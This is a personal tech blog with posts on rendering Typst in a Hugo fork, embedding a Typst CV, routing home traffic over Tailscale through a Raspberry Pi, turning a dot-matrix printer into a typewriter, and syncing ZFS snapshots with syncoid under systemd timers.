George Honeywood's blog

Proper Hugo Typst support

Sun, 02 Nov 2025 12:29:41 +0000

This post is written in Typst!

I had a first pass at making Hugo deal with Typst’s HTML export support last weekend, see Typst + Hugo. It worked, but not very well! It was OK for one dedicated page, but not good enough for writing normal blog posts with. You had to add a dedicated template for each page, and manually export the .typ files to HTML out of band from Hugo.

A couple of years ago, this topic got a bit of discussion on the Hugo forum. This was before Typst could natively export HTML, however, so it would have had to be done via pandoc or some other third-party tool — it makes much more sense now Typst can render its’ own HTML.

Conveniently Hugo’s codebase is pretty pluggable when it comes to markup formats, it’s not wedded to Markdown. Hugo also has support for Asciidoc, pandoc, and reStructuredText/RST, among others. The pandoc support uses pandoc as as an “external renderer”, where Hugo just shells out to the system pandoc binary generate the HTML — this is pretty much exactly what I want. I asked GitHub Copilot to have a go and it did quite a good job, I had something working after only a couple of iterations.

This gives a pretty ideal experience for me. Live reload works properly, and all I have to do to write posts in Typst is create files with a .typ extension instead of .md!

There should have been a video here, but your browser does not seem to support it. You can try visiting /blog/typst-and-hugo-properly/images/demo-1276x720.mp4 instead.

You can do magical Typst stuff like equations:

$ sum_(k=0)^n k
 &= 1 + ... + n \
 &= (n(n+1)) / 2 $

Which renders to this:

(Don’t ask me what this means, I just copied it from the docs!)

Emojis and icons are super easy 🐈️, just use #emoji.cat 💥
Because it’s a proper programming language, you can do loops! This source generates a list:

#for i in range(3){
 i += 1
 [- Loop #{i}, #{i == 2}, #lower(lorem(i))]
}

Loop 1, false, lorem.
Loop 2, true, lorem ipsum.
Loop 3, false, lorem ipsum dolor.

Because Typst is just generating HTML, the CSS styling works as it normally would on your site.

There are, as always, some sticking points:

If you want to render into PDF with the normal Typst CLI (typst compile foo.typ), Hugo’s shortcodes are a bit problematic. In Hugo, you can use the {{< relref "typst-and-hugo" >}} shortcode to link to other pages, which renders to → /blog/typst-and-hugo/. While being perfectly well understood by Hugo, these shortcodes are not well formed Typst code, so the Typst compiler will barf when it finds them.
I suspect you could get Hugo to just handle the first step of rendering the shortcodes, then dumping this mostly still Typst code to a file. This technique would work for simple things like the relref example, where all you get back is text, but wouldn’t work for things like images, where the shortcode generates a bunch of HTML that Typst definitely can’t understand!
Adjacent to the previous point, with Hugo you add post metadata in a front meta section of the document, delimited with --- characters. Typst doesn’t mind these characters, but you’ll want to strip them somehow if you want to render to PDF as well as HTML, otherwise the raw YAML metadata will show up in your PDF.
General pain from using a fork of Hugo, it broke my CI. The GitHub Action I had set up to automatically build the site unsurprisingly doesn’t know to use my Hugo fork to build things (and it’s not super trivial to make it use some custom binary).
Of course: it doesn’t generate HTML in the same way as Hugo’s Markdown renderer! This means if your CSS makes some assumptions about how the HTML structured, you’ll need to make changes. Expect footnotes and code blocks to behave differently.
Performance: the Typst compiler is pretty fast, but there is inevitable overhead for rendering via an external process. Once you’ve got hundreds or thousands of pages, I think this setup will crawl!

To give it a try yourself, you’ll need to build my Hugo fork from source. I think something like this will work, once you’ve cloned the repo:

Switch to the typst branch
Build with CGO_ENABLED=1 go build (add -tags extended if you need it). You’ll need a pretty modern Go toolchain, at least v1.24
Use the built hugo binary to generate your site. You can either add it to $PATH, or just use an explicit path to the binary, path/to/clone/of/hugo/hugo
Then make some pages with .typ extensions, and Hugo will use the Typst renderer

Full disclosure: I am not planning on maintaining this fork, but the patchset is pretty mimimal, so should be easy enough to keep up to date with upstream. For those curious, you can have a look at the source for this post here.

Typst + Hugo

Mon, 27 Oct 2025 18:16:01 +0000

(2025-11-02 update: I’ve now done this much more cleanly, by forking and modifying Hugo such that it can render .typ files directly. See my new post here.)

One slightly vain thing that I’ve wanted to do for a while is have my CV available in both PDF and HTML form, without the hassle of keeping two different versions in sync. On the face of it, this sounds pretty trivial, just write in Markdown, then use Pandoc to export to both formats.
If only I didn’t care about styling!

Fortunately for me, Typst (the typesetting system I use for my CV), recently gained the ability to output HTML. It generates unstyled, semantic HTML, which is exactly what you want for embedding it into an existing website.

I’ve updated my CV template Alta Typst to use this new feature. The bulk of the work was adding conditionals, for when you want to control exactly how the HTML is structured. Where before I had this tiny one line function:

#let term(period, location) = {
 text(9pt)[#icon("calendar") #period #h(1fr) #icon("location") #location]
}

I now have this 20 line monstrosity:

#let term(period, location) = context {
 // PDF == paged
 if target() == "paged" {
 text(9pt, {
 icon("calendar")
 period
 h(1fr)
 icon("location")
 location
 })
 } else {
 html.div(
 style: "display: flex; align-items: center; gap: 10px;",
 {
 icon("calendar")
 html.div(period)
 icon("location")
 html.div(location)
 },
 )
 }
}

Admittedly, you could make this a lot smaller, but this is what the formatter wants! This will give you HTML output that lays out fairly similar to the PDF, thanks to the inline style.

Above is HTML output, below is PDF output

The magical part is the icons, these are embedded as SVG directly in the HTML doc – it’s not particularly efficient when you’ve got the same icon reused a few times, but it sure is easy! This also works for maths, it just gets directly embedded as SVG.

There are only a couple of primitives:

Insert specific HTML elements using e.g. html.div() or html.span(), and add any attributes as desired.
Render Typst content direct to SVG, with html.frame(). This is useful for icons, diagrams, and maths, things that don’t directly correspond to HTML.

Hugo (the static site generator used for this blog), can plonk the Typst generated HTML inside the site base template, so it inherits the usual styling and navigation.

I’m definitely not a Hugo expert, but the following seems to work for embedding a single Typst page.
I added the new page to the main menu in config.toml:

# config.toml

[[menu.main]]
 identifier = "cv"
 name = "CV"
 title = "CV"
 url = "/cv/"

# hack to make hugo rebuild when the CV changes
# still need to refresh the page manually, live-reload doesn't work
[module]
 [[module.mounts]]
 source = "cv/georgehoneywood-cv.html"
 target = "assets/georgehoneywood-cv.html"

 [[module.mounts]]
 source = 'assets'
 target = 'assets'

In parallel, I run Typst exporting to HTML from the cv folder:

~/george.honeywood.org.uk/cv
> typst watch --format html --features html georgehoneywood-cv.typ

Template for the /cv/ page:

<!-- layouts/page/cv.html -->

<!-- pick up styling from scss/pages/cv.scss -->
{{ define "styles" }}
 {{ $.Scratch.Set "style_opts" (dict "src" "scss/pages/cv.scss" "dest" "css/cv.css") }}
{{ end }}

<!-- wrap in base template -->
{{ define "main" }}
{{ $file := resources.Get "georgehoneywood-cv.html" }}
{{ $file = $file.Content }}

<!-- strip out typst HTML boilerplate, we just need raw body -->
{{ $file = index (strings.Split $file "<body>\n <div>\n ") 1 }}
{{ $file = index (strings.Split $file "</div>\n </body>") 0 }}

<div class="flex-wrapper">
 <div class="post__container">
 <div class="post">
 <article class="post__content">
 <!-- print out the CV content -->
 {{ $file | safeHTML}}
 {{ partial "anchored-headings.html" .Content }}
 </article>
 <footer class="post__footer">
 {{ partial "social-icons.html" .}}
 <p>{{ replace .Site.Copyright "{year}" now.Year | safeHTML}}</p>
 </footer>
 </div>
 </div>
</div>
{{ end }}

As Typst outputs a standalone HTML document, including <head> and <body>, you need to strip these out if you want to embed the output in a template. You’ll also need some boilerplate content file:

# content/cv.md
---
layout: cv
title: CV
---

In the aforementioned CSS file, the only clever thing is inverting the colour of the Typst html.frame() SVG elements when the browser is set to dark mode.

/* scss/pages/cv.scss */

@media (prefers-color-scheme: dark) {
 .typst-frame {
 filter: invert(1);
 }
}

Go forth and view the HTML result! (cf. the original PDF version). This is generated from this Typst source, using my Alta Typst template.

I’m reasonably pleased with how it looks. While this setup works well enough for one-off pages, it doesn’t really scale to writing individual posts in Typst. I think you could hack something together with page resources and a shortcode to handle that case.

Bodging a brouter

Fri, 17 Oct 2025 19:20:35 +0100

I wanted to do something a bit weird the other day.
I’ve got two networks. 192.168.0.1/24 and 192.168.1.1/24, which are at different sites — .1. is at my parent’s house, .0. is at my flat.
A Jellyfin media server lives on the .1. network, and I want to be able to reach that from my the .0. network, where I have a Roku with the Jellyfin app installed.

The really easy option here is to add a port forward on the .1. side router, such that you can reach the Jellyfin server from the public internet — this is exactly what I used to do for Plex. However, exposing things to the internet isn’t usually a great idea from a security perspective, especially when you aren’t great at keeping things up to date!

I’ve got Tailscale (which is a fancy Wireguard VPN solution) set up on the .1. side, so I can reach that network from specific devices that have the Tailscale app installed, but unfortunately there isn’t an app for the Roku. What makes things a bit more complicated is that the router for the .0. network is a rubbish ISP provided one. I can’t easily avoid using it as the flat has 4G/LTE internet, don’t ask! As such I can’t configure any extra routes or install the Tailscale VPN on the router itself.

My first pass at this was very lazy. On my desktop on the .0. side I’ve got Tailscale running, so it can reach the Jellyfin server over on .1. fine. All that’s required is a little TCP proxy ¹:

desktop$ socat -dd TCP4-LISTEN:8096,fork,reuseaddr TCP4:192.168.1.30:8096

Then on the Roku I can configure the Jellyfin client to hit the desktop LAN .0. IP and the connection is forwarded on to the remote Jellyfin server at 192.168.1.30. This worked perfectly fine, but having to keep my desktop on whenever I wanted to use Jellyfin was a bit annoying.

My next idea was to just put this on a Raspberry Pi which I can leave on permenantly without using too much expensive electricity. The downside with this socat trick is that it’s a bit static, if you wanted to talk to multiple endpoints you’d need to listen on multiple ports and remember all the mappings.

What I really wanted was a proper routed setup, where any .0. device can route to anything on the .1. network. This is where I had a devious idea — to use the Raspberry Pi as a bridge for all traffic on the way to my router. Bridging is where a device with two NICs, links them, such that traffic coming in on one, is sent straight back out the other.
For my purpose the Pi can’t act purely as a bridge though, it also needs to do some routing of the .1. network bound packets, such that they pass through the tailscale tunnel.

As far as I can tell, this is a bit of an unusual thing to want to do — it’s called bridge routing (or brouting). It doesn’t seem to easy to do this with a usual Linux bridge device ², but thankfully it’s pretty simple to configure something that behaves the same.

These are the interfaces on my brouter:

root@raspberry:~# networkctl
IDX LINK TYPE OPERATIONAL SETUP
 1 lo loopback carrier unmanaged
 2 eth0 ether routable configured
 3 eth1 ether routable configured
 4 tailscale0 none routable unmanaged

I’m using eth0 as the upstream side (plugged into the ISP router) and eth1 as downstream (plugged into a switch and WAP).
You’ll need some kernel config:

root@raspberry:~# cat /etc/sysctl.d/99-proxyarp.conf
net.ipv4.ip_forward=1
net.ipv4.conf.eth0.proxy_arp=1
net.ipv4.conf.eth1.proxy_arp=1

ip_forward makes the kernel to retransmit packets that weren’t destined for a local IP address.
proxy_arp causes ARP traffic coming in on one interface to be sent back out of the other, replacing the MAC addresses such that layer 2 works as expected.

Once you’ve got your kernel parameters set, you need a bit of iptables magic to handle the routing part of the equation. We want to mark the .1. bound packets, so that they are forced to route via our tailscale0 interface:

iptables -t mangle -A PREROUTING -d 192.168.1.0/24 -j MARK --set-mark 1
ip rule add fwmark 1 table 100
ip route add default dev tailscale0 table 100

This isn’t quite enough to make things work unfortunately. Checking the traffic, I can see packets headed out over the Tailscale interface, but no replies coming back:

root@raspberry:~# tcpdump -i tailscale0 'icmp' -n
18:53:28.804692 IP 192.168.0.3 > 192.168.1.30: ICMP echo request, id 253, seq 1, length 64
18:53:29.805010 IP 192.168.0.3 > 192.168.1.30: ICMP echo request, id 253, seq 2, length 64
18:53:30.829186 IP 192.168.0.3 > 192.168.1.30: ICMP echo request, id 253, seq 3, length 64

This is because devices on the .1. net can’t route directly back to .0.. To make this work we have to SNAT (source NAT) the traffic such that it appears to come from the local side of the Tailscale tunnel:

iptables -t nat -A POSTROUTING -o tailscale0 -j MASQUERADE

Now we see replies coming back too! 100.120.7.128 is the local IP of the tailscale0 interface.

root@raspberry:~# tcpdump -i tailscale0 'icmp' -n
18:56:50.428553 IP 100.120.7.128 > 192.168.1.30: ICMP echo request, id 254, seq 1, length 64
18:56:50.499516 IP 192.168.1.30 > 100.120.7.128: ICMP echo reply, id 254, seq 1, length 64
18:56:51.429393 IP 100.120.7.128 > 192.168.1.30: ICMP echo request, id 254, seq 2, length 64
18:56:51.517161 IP 192.168.1.30 > 100.120.7.128: ICMP echo reply, id 254, seq 2, length 64
18:56:52.431187 IP 100.120.7.128 > 192.168.1.30: ICMP echo request, id 254, seq 3, length 64
18:56:52.509740 IP 192.168.1.30 > 100.120.7.128: ICMP echo reply, id 254, seq 3, length 64

I figure I better include a diagram here:

The final piece of the puzzle is that this setup breaks DHCP (dynamic IP configuration) — as it uses broadcast traffic, and the kernel won’t forward broadcast traffic. This is pretty easy to work around, you can install a little daemon to proxy traffic recieved downstream on eth1 up to the ISP router on eth0. I used isc-dhcp-relay and the config is trivial:

root@raspberry:~# cat /etc/default/isc-dhcp-relay
# What servers should the DHCP relay forward requests to?
SERVERS="192.168.0.1"
# On what interfaces should the DHCP relay (dhrelay) serve DHCP requests?
INTERFACES="eth1 eth0"

The network flow for DHCP now looks like this, where 192.168.0.125 is eth0’s local IP and 192.168.0.126 is eth1’s:

root@raspberry:~# tcpdump -i any 'port bootps' -n
19:12:11.5112 eth1 B IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length 312
19:12:11.5114 eth0 Out IP 192.168.0.125.67 > 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length 312
19:12:11.5345 eth0 In IP 192.168.0.1.67 > 192.168.0.126.67: BOOTP/DHCP, Reply, length 300
19:12:11.5346 eth1 Out IP 192.168.0.126.67 > 0.0.0.0.68: BOOTP/DHCP, Reply, length 300
19:12:11.5418 eth1 B IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length 308
19:12:11.5419 eth0 Out IP 192.168.0.125.67 > 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length 308
19:12:11.5684 eth0 In IP 192.168.0.1.67 > 192.168.0.126.67: BOOTP/DHCP, Reply, length 300
19:12:11.5685 eth1 Out IP 192.168.0.126.67 > 192.168.0.53.68: BOOTP/DHCP, Reply, length 300
19:12:11.5760 eth1 B IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length 318
19:12:11.5761 eth0 Out IP 192.168.0.125.67 > 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length 318
19:12:11.5814 eth0 In IP 192.168.0.1.67 > 192.168.0.126.67: BOOTP/DHCP, Reply, length 300
19:12:11.5816 eth1 Out IP 192.168.0.126.67 > 192.168.0.53.68: BOOTP/DHCP, Reply, length 300

The advantage of this setup is that it’s transparent to downstream devices, they think they are just talking to the ISP router normally. That it just happens to sit on the path is useful if something goes wrong with the Pi ³, I can just physically unplug it and I won’t lose anything other than my extra route.

It probably would have been easier if I had set up my Pi with OpenWRT or similar, and had it act as a normal router, downstream of the ISP provided router. Well, at least this way I learnt some stuff!

You could also use a HTTP reverse proxy for this, but these tools usually need a bit more config than socat does. ↩︎
It might be possible via the br_netfilter kernel module and net.bridge.bridge-nf-call-iptables=1 parameter, but I couldn’t figure out how to make it work! ↩︎
SD card failure being what I am afraid of here! ↩︎

A typewriter five ways

Tue, 21 Jan 2025 21:38:43 +0000

My desk-dominating Oki Microline 320 Elite dot matrix printer

The joy of the dot matrix printer is how simple the interface is – it’s just a file, /dev/usb/lp0. When you write some ASCII character into this file, the printer prints it. That’s it! Below are five increasingly complicated ways to write to this file.

The obvious way to go about this is a normal shell redirection, like so:

$ echo "hello world!" > /dev/usb/lp0
# or
$ cat my-file.txt > /dev/usb/lp0

This is, however, quite static: you have to decide what you want to print beforehand. I want something a bit more interactive, like a good old-fashioned mechanical typewriter.

1. `cat`

The simplest method I can think of is just cat again. If you invoke it without any arguments, cat simply pipes stdin to stdout:

$ cat > /dev/usb/lp0

The works well enough, but it’s line buffered: the text doesn’t actually print until you press enter. This is good for interactively editing your command before executing it, but not what you want for emulating a typewriter!

2. `stty`

Luckily, this line buffering can be turned off. I spent quite a while assuming this was controlled on the application side, but it is actually up to the terminal ¹. The stty command can adjust these settings — stty -icanon does what I want.

I’ll use strace to make this a bit clearer. On the left you can see normal terminal behaviour; on the right I’ve changed the settings. I used the synchronize-panes option in tmux, so both terminals get the same a, b, c, \n input at the same time:

The write(...) messages come from strace, and indicate when the terminal is actually sending the data off. On the left, we only see a single write() after the enter press. On the right, we get the immediate writes that we want for emulating a typewriter.

3. scrolling

We are getting closer. However, there is one rather large issue with doing something like stty -icanon && cat > /dev/usb/lp0:

There should have been a video here, but your browser does not seem to support it. You can try visiting /blog/typewriter-five-ways/images/stty-1280x720.mp4 instead.

You can’t see what you’ve written!
While in any case you can’t backspace any physically printed text, it is a bit disconcerting to not be able to see what you’ve typed. Ideally the paper would scroll up once you’ve stopped typing, so you can view the output and then scroll back into the printer once you resume.

Luckily, dot matrix printers have a trick up their sleeves — escape codes. These work as a markup to control some aspect of the printers output, like setting the typeface to be bold. Escape codes weren’t particularly standardized, different manufacturers used different codes. Conveniently, my printer can emulate a few different control code standards.

The escape code that is particularly useful in this case is “Reverse line feed”, which in Epson’s ESC/P language is the sequence []byte{27, 106, 216} ². We can use this for scrolling the paper back into the printer when the user resumes typing.

I wrote a little program in Go, Typist, that handles this scrolling behaviour for us:

There should have been a video here, but your browser does not seem to support it. You can try visiting /blog/typewriter-five-ways/images/go-1280x720.mp4 instead.

The main loop is pretty simple:

func (p *printer) handleInput() {
readLoop:
 for {
 select {
 case char := <-p.pipe:
 if char == 3 {
 fmt.Printf("got ctrl+c\r\n")
 break readLoop
 }

 // if scrolled up, scroll back down
 if p.scrolledUp {
 fmt.Print("scrolling back down\r\n")
 p.scroll(false)
 }


 fmt.Printf("writing char \"%q\", dec \"%d\", hex \"%x\"\r\n", char, char, char)
 _, err := p.fd.Write([]byte{char})
 if err != nil {
 panic(err)
 }

 case <-time.After(time.Second * 2):
 if p.scrolledUp {
 break
 }
 fmt.Print("timed out, scrolling up\r\n")

 p.scroll(true)
 }
 }
}

In this snippet p.pipe is a channel, which is fed characters from stdin by a goroutine running in parallel. The idea is that we use the select statement to wait for either some input character to come from the channel, or for our timeout to occur.

In reality the implementation is a little more complex. There is some state-machine logic for handling the multi-character escape code sequences from the terminal, like the arrow keys.

4. `netcat`

Since all Typist does is listen on stdin, it’s trivial to hook it up to netcat. netcat is a handy utility for receiving/transmitting data to the network. If I run this on my desktop connected to the printer, netcat will listen on TCP port 4444, and pass any data received from the tunnel into Typist:

nc -l 4444 | ./typist

Via Termux on my phone, I can use stty as before and have the same typewriter experience, over WiFi:

phone$ stty -icanon && nc desktop.lan 4444

5. `tty`

With Typist we now have an experience pretty similar to a teletype (tty) used for output on early computers. For the authentic 1960s Unix experience we can pipe the output of a shell into Typist, like so:

$ TERM=lp /bin/sh -i 2>&1 | ./typist

Setting the TERM=lp environment variable is important. It prevents the shell from using fancy control characters that the printer can’t render, like the ANSI colouring codes. 2>&1 redirects both the stdout and stderr of the shell into Typist ³. If I was feeling brave I could learn how to use ed and do some proper line oriented file editing!

This was inspired by a blog post from Drew DeVault back in 2019. I’ve been meaning to do this for 6 years!

While most CLI programs don’t need to, any app can change these terminal settings, the same way stty does. Interactive TUIs, such as nano, will need to change these settings. Line buffering doesn’t make sense for a text editor! ↩︎
See here for a handy reference on the rest of the control codes. ↩︎
Even though I’ve regularly been using the Linux command line for some ten years, I still have to look 2>&1 up every time. ↩︎

ZFS snapshots and how to sync them

Sat, 07 Dec 2024 20:50:25 +0000

I am quite a big fan of ZFS. One of its useful features is snapshotting, allowing you to record the state of your filesystem at a specific point in time. This means if you later change or delete files, you will be able to roll-back to this previous snapshot, or restore individual files. So far, so normal — even NTFS has a kind of snapshot/restore capability.

What makes ZFS’s snapshots even more useful is what they enable in terms of filesystem synchronization. My use case is that I have 10 TB of data at a remote site that I want to back up to my local desktop. I am constrained by a slow internet connection, so I need a solution that doesn’t use much bandwidth.

What I can do is to have a matching snapshot pair on both sides, then take another snapshot on the sending end. ZFS can then find which blocks have changed on the sending side, and send and replay the differences to the receiving side. Unfortunately you still have to do a single initial replication on the whole dataset — you can’t get around that!

In my case the initial replication was going to take more than a week over the slow link; I ended up sneakernetting the data between sites to speed up the process. While you can achieve incremental results with a tool like rsync, the process isn’t as efficient, as it has to check to see if each file has been updated.

syncoid is the tool I use to automate the zfs snapshot, zfs send | receive process. I run a command like this to pull all the changes since the previous run:

root@desktop:~# syncoid --recursive --skip-parent root@192.168.1.10:tank tank-offsite

Here tank is a pool on the remote machine at 192.168.1.10, and tank-offsite is mounted on the local desktop. I don’t use the desktop machine that runs this backup consistently, it suspended most of the time, so I needed a way to schedule this job regularly.

systemd to the rescue! I created a service to run the syncoid command, and a timer to run the service on a schedule. The magic here is the WakeSystem= timer option — which resumes my desktop from suspend when the timer triggers. Here is my config — it is pleasantly simple:

root@desktop:~# systemctl cat tank-offsite.{service,timer}
# /etc/systemd/system/tank-offsite.service
[Unit]
Description=Backup tank to tank-offsite
Requires=network-online.target
After=network-online.target

[Service]
Type=oneshot

# wait for the network to be usable
ExecStartPre=sh -c 'until ping -c 1 192.168.1.10; do sleep 1; done'
# do the sync
ExecStart=/usr/local/sbin/syncoid --recursive --skip-parent root@192.168.1.10:tank tank-offsite
# suspend the machine again
ExecStopPost=/usr/bin/systemctl suspend

# /etc/systemd/system/tank-offsite.timer
[Unit]
Description=Backup tank to tank-offsite on a schedule

[Timer]
OnCalendar=Mon-Sun 03:00
WakeSystem=true

[Install]
WantedBy=timers.target

The only little hack here is the ExecStartPre= line; my first pass at this didn’t include it. I was hoping that After=network-online.target would be enough to make sure the network stack was up before the syncoid command would run. Evidently not:

$ journalctl -u tank-offsite
Dec 22 03:00:28 desktop systemd[1]: Starting tank-offsite.service - Backup tank to tank-offsite...
Dec 22 03:00:29 desktop syncoid[162504]: ssh: connect to host 192.168.1.10 port 22: Network is unreachable
Dec 22 03:00:29 desktop syncoid[162505]: ssh: connect to host 192.168.1.10 port 22: Network is unreachable
Dec 22 03:00:29 desktop syncoid[162423]: CRITICAL ERROR: ssh connection echo test failed for root@192.168.1.10 with exit code 255 at /usr/local/sbin/syncoid line 1714.
Dec 22 03:00:29 desktop systemd[1]: tank-offsite.service: Control process exited, code=exited, status=1/FAILURE
Dec 22 03:00:29 desktop systemd[1]: tank-offsite.service: Failed with result 'exit-code'.
Dec 22 03:00:29 desktop systemd[1]: Failed to start tank-offsite.service - Backup tank to tank-offsite.

systemd’s docs have some discussion of this scenario. They suggest adding a separate service that runs the same ping check with Before=network-online.target specified. This means that any services depending on network-online.target will only start once the ping has been successful. As I only have a single service that cares about this, keeping it all together in the same unit with ExecStartPre= made sense to me.

You may have noticed a slight issue with this timer setup: my machine will always suspend after the backup job finishes. This is the desired outcome when the timer has caused the desktop to wake up, but it will probably be quite annoying if I were using the machine at the time. Luckily I’m usually fast asleep before 03:00! I couldn’t find a neat way of avoiding this.

One thing that I’d still like to get working is ZFS’s nop-write support. My use for this is that I have a different daily job that tars up data from my VPS, overwriting a file on disk. This means that every day I have to sync the full tar file, as from ZFS’s perspective it is completely new data, even though there will have been very few changes. The data in question is only about 1.3 GB — so it isn’t too slow, but if I can avoid having to copy it at all then it would be preferable. Alternatively, I could just swap to using rsync for this job, and avoid re-writing the data at all. ZFS’s compression should replicate the benefits I was getting from compressing the tar file.

a few days later

Getting nop-write working was indeed really just as simple as swapping the dataset checksum setting to sha256 (or you can pick one of the other options)

$ zfs set checksum=sha256 pool_name/dataset_name

Now even though the job rewrites this large tar file daily, there is nothing for syncoid to copy over! (well, only 84 KB compared to 1.3 GB)

$ journalctl -qu tank-offsite --grep 'tank/backup@' | tail -n 2
# without `nop-write`
Dec 28 03:00:43 desktop syncoid[337636]: Sending incremental tank/backup@syncoid_desktop_2024-12-27:23:38:04-GMT00:00 ... syncoid_desktop_2024-12-28:03:00:43-GMT00:00 (~ 1.3 GB):
# with `nop-write`
Dec 28 13:28:38 desktop syncoid[26300]: Sending incremental tank/backup@syncoid_desktop_2024-12-28:13:12:15-GMT00:00 ... syncoid_desktop_2024-12-28:13:28:38-GMT00:00 (~ 84 KB):

I am now questioning why I didn’t use rsync in the first place, however. nop-write saves me from replicating the unchanged overwritten file, by preventing the writes from actually hitting the disk. It doesn’t avoid the whole daily download from the VPS though! ZFS couldn’t possibly know what writes would be no-ops without having the new data to checksum against what is already on disk.

The only slight gotcha with nop-write is that you need to make sure that you don’t truncate the file you rewrite. For example something like this won’t work:

$ ssh $VPS_HOSTNAME 'tar -cf - /var/www/' > var-www.tar

If you do this, then the shell first truncates the file before writing the new data. There is probably a clever bash way of avoiding the truncation, but using dd with the conv=notrunc option is a bit more self documenting:

$ ssh $VPS_HOSTNAME 'tar -cf - /var/www/' | dd of=var-www.tar conv=notrunc bs=1M

Although nop-write sounds very compelling at first – it is actually fairly niche. Most of the time it is possible (and more efficient) to avoid rewriting unchanged data!

a few weeks later

At some point I decided to enable some power management settings on my desktop. Usually, my desktop is suspended. However, sometimes one of my meddling cats will step on the keyboard, waking it up, so it is handy if the machine automatically suspends after being idle for some amount of time. Auto-suspend however created a bit of headache for this backup job:

Jan 10 03:00:44 desktop systemd[1]: Starting tank-offsite.service - Backup tank to tank-offsite...
Jan 10 03:00:55 desktop sh[296224]: PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
Jan 10 03:00:55 desktop sh[296224]: 64 bytes from 192.168.1.10: icmp_seq=1 ttl=62 time=12.8 ms
Jan 10 03:00:55 desktop sh[296224]: --- 192.168.1.10 ping statistics ---
Jan 10 03:00:55 desktop sh[296224]: 1 packets transmitted, 1 received, 0% packet loss, time 0ms
Jan 10 03:00:55 desktop sh[296224]: rtt min/avg/max/mdev = 12.842/12.842/12.842/0.000 ms
Jan 10 03:00:56 desktop syncoid[296226]: Sending incremental tank/backup@syncoid_desktop_2025-01-09:03:00:51-GMT00:00 ... syncoid_desktop_2025-01-10:03:00:56-GMT00:00 (~ 3.2 MB):
Jan 10 03:01:11 desktop syncoid[296226]: Sending incremental tank/backup/email@syncoid_desktop_2025-01-09:03:01:11-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:11-GMT00:00 (~ 1.5 MB):
Jan 10 03:01:13 desktop syncoid[296226]: Sending incremental tank/backup/lxc@syncoid_desktop_2025-01-09:03:01:13-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:13-GMT00:00 (~ 4 KB):
Jan 10 03:01:14 desktop syncoid[296226]: Sending incremental tank/backup/pbs@syncoid_desktop_2025-01-09:03:01:13-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:14-GMT00:00 (~ 1.0 GB):
Jan 10 08:52:35 desktop syncoid[296484]: cannot receive incremental stream: dataset is busy
Jan 10 19:29:53 desktop syncoid[296488]: lzop: Broken pipe: <stdout>
Jan 10 19:29:53 desktop syncoid[296226]: CRITICAL ERROR: ssh -S /tmp/syncoid-root@192.168.1.10-1736478055-2255 root@192.168.1.10 ' zfs send -I '"'"'tank/backup/pbs'"'"'@'"'"'syncoid_desktop_2025-01-09:03:01:13-G'"'"' '>
Jan 10 19:29:55 desktop syncoid[296226]: Sending incremental tank/backup/veeam@syncoid_desktop_2025-01-09:03:15:13-GMT00:00 ... syncoid_desktop_2025-01-10:19:29:55-GMT00:00 (~ 4 KB):
Jan 10 19:29:59 desktop syncoid[296226]: Sending incremental tank/data@syncoid_desktop_2025-01-09:05:52:20-GMT00:00 ... syncoid_desktop_2025-01-10:19:29:58-GMT00:00 (~ 35.8 MB):
Jan 10 19:30:39 desktop systemd[1]: tank-offsite.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Jan 10 19:30:39 desktop systemd[1]: tank-offsite.service: Failed with result 'exit-code'.
Jan 10 19:30:39 desktop systemd[1]: Failed to start tank-offsite.service - Backup tank to tank-offsite.
Jan 10 19:30:39 desktop systemd[1]: tank-offsite.service: Consumed 31.336s CPU time, 43.7M memory peak.

It wasn’t immediately clear what was going wrong to me, as I’d completely forgotten that auto-suspend was enabled. What made it more obvious was this other journal entry:

Jan 10 03:15:40 desktop systemd-logind[1367]: The system will suspend now!
Jan 10 03:15:40 desktop ModemManager[1645]: <msg> [sleep-monitor-systemd] system is about to suspend
Jan 10 03:15:40 desktop NetworkManager[2071]: <info> [1736478940.0158] manager: sleep: sleep requested (sleeping: no enabled: yes)
Jan 10 03:15:40 desktop NetworkManager[2071]: <info> [1736478940.0163] manager: NetworkManager state is now ASLEEP
Jan 10 03:15:40 desktop systemd[1]: Reached target sleep.target - Sleep.
Jan 10 03:15:40 desktop systemd[1]: Starting nvidia-suspend.service - NVIDIA system suspend actions...

Conveniently, it is quite easy to add “inhibitions” that prevent the system from sleeping. I added a systemd-inhibit call on the ExecStart= line of the unit:

ExecStart=/usr/bin/systemd-inhibit /usr/local/sbin/syncoid [-snip-]

This wasn’t quite enough, however. There is a race condition if you call systemd-inhibit while the machine is still waking from sleep:

Jan 12 03:00:51 desktop systemd-inhibit[398074]: Failed to inhibit: The operation inhibition has been requested for is already running
Jan 12 03:00:51 desktop systemd[1]: tank-offsite.service: Main process exited, code=exited, status=1/FAILUR

I’ve hacked around this by adding a 30s sleep in another ExecStartPre= line. I’m somewhat surprised there isn’t a built-in option to inhibit sleep while a unit is running, but I suppose this is a niche thing to do.

Typst

Sun, 18 Feb 2024 10:34:22 +0000

Typst is pretty much what I have been looking for since I was about 15 and had to write my first long form report for school. I didn’t like using Word; I spent too much time fighting the formatting and I couldn’t easily run it on my PC at home. At the same time, I needed a bit more control over layout than what I could easily get using Markdown and pandoc.

An example of a document prepared using Typst, my CV

At the time the solution I settled upon was LaTeX. LaTeX is pretty cool. You write whatever you want, then let it produce a pretty document for you. Unfortunately, the UX is not really up to modern standards. To compile a document with a bibliography you have to run a byzantine incantation of commands, such as pdflatex -> biber -> pdflatex -> pdflatex (or you can use latexmk which handles this stuff for you). It’s not hard to install, but it does eat a lot of space (the equivalent of about 20 electron apps!):

$ du -sh /usr/share/tex{live,mf}
2.9G /usr/share/texlive
408M /usr/share/texmf

I initially avoided some of this complexity by using ShareLaTeX ¹, a web based LaTeX editor. Whether you use a local install or an online editor, you are still stuck with the underlying language. You better pray that you don’t want to change any formatting other than the margins or something that there is not an existing package for. TeX is macro based, and feels exactly like it was released in 1978, with pretty poor tooling to match.

